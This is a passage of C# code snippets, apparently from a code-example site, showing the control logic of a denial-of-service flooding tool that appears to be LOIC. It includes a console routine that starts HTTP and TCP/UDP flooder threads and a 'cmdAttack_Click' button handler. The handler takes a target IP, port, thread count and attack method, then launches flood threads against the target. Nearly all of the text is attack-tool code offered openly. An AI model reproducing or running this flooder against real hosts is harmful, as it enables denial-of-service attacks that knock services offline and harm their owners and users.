                    Console.Write("Timeout: ");
                    timeout = Convert.ToInt32(Console.ReadLine());
                    http = new HTTPFlooder[threads];
                    for (int a = 0; a < http.Length; a++)
                    {
                        http[a] = new HTTPFlooder(host, ip, port, data, resp, delay, timeout, rand);
                        http[a].Start();
                    }
                    Console.WriteLine("Idle\tConnecting\tRequesting\tDownloading\tDownloaded\tRequested\tFailed\n");
                } else {
                    xxp = new XXPFlooder[threads];
                    for (int i = 0; i < xxp.Length; i++) {
                        xxp[i] = new XXPFlooder(ip, port, proto, delay, resp, data, rand);
                        xxp[i].Start();
                    }
                    Console.WriteLine("Packets sent\n");
                }

                new Timer(new TimerCallback(timerCallback), null, 0, 10);

                while (!Console.ReadLine().Equals("stop", StringComparison.CurrentCultureIgnoreCase));
            }
        }
Esempio n. 10
0
        private void cmdAttack_Click(object sender, EventArgs e)
        {
            if (cmdAttack.Text == "IMMA CHARGIN MAH LAZER")
            {
                try
                {
                    try { iPort = Convert.ToInt32(txtPort.Text); }
                    catch { throw new Exception("I don't think ports are supposed to be written like THAT."); }

                    try { iThreads = Convert.ToInt32(txtThreads.Text); }
                    catch { throw new Exception("What on earth made you put THAT in the threads field?"); }

                    sIP = txtTarget.Text;
                    if (sIP == "" || sIP == "N O N E !")
                    {
                        throw new Exception("Select a target.");
                    }

                    iProtocol = 0;
                    sMethod   = cbMethod.Text;
                    if (sMethod == "TCP")
                    {
                        iProtocol = 1;
                    }
                    if (sMethod == "UDP")
                    {
                        iProtocol = 2;
                    }
                    if (sMethod == "HTTP")
                    {
                        iProtocol = 3;
                    }
                    if (iProtocol == 0)
                    {
                        throw new Exception("Select a proper attack method.");
                    }

                    sData = txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
                    if (sData == "" && (iProtocol == 1 || iProtocol == 2))
                    {
                        throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith("/") && (iProtocol == 3))
                    {
                        throw new Exception("You have to enter a subsite (for example \"/\")");
                    }

                    try { iTimeout = Convert.ToInt32(txtTimeout.Text); }
                    catch { throw new Exception("What's up with something like that in the timeout box? =S"); }

                    bResp = chkResp.Checked;
                }
                catch (Exception ex) { new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return; }

                cmdAttack.Text = "Stop flooding";

                if (sMethod == "TCP" || sMethod == "UDP")
                {
                    xxP = new XXPFlooder[iThreads];
                    for (int a = 0; a < xxP.Length; a++)
                    {
                        xxP[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, bResp, sData);
                        xxP[a].Start();
                    }
                }
                if (sMethod == "HTTP")
                {
                    HTTP = new HTTPFlooder[iThreads];
                    for (int a = 0; a < HTTP.Length; a++)
                    {
                        HTTP[a] = new HTTPFlooder(sIP, iPort, sSubsite, bResp, iDelay, iTimeout);
                        HTTP[a].Start();
                    }
                }

                tShowStats.Start();
            }
            else
            {
                cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
                if (xxP != null)
                {
                    for (int a = 0; a < xxP.Length; a++)
                    {
                        xxP[a].isFlooding = false;
                    }
                }
                if (HTTP != null)
                {
                    for (int a = 0; a < HTTP.Length; a++)
                    {
                        HTTP[a].isFlooding = false;
                    }
                }
                //tShowStats.Stop();
            }
        }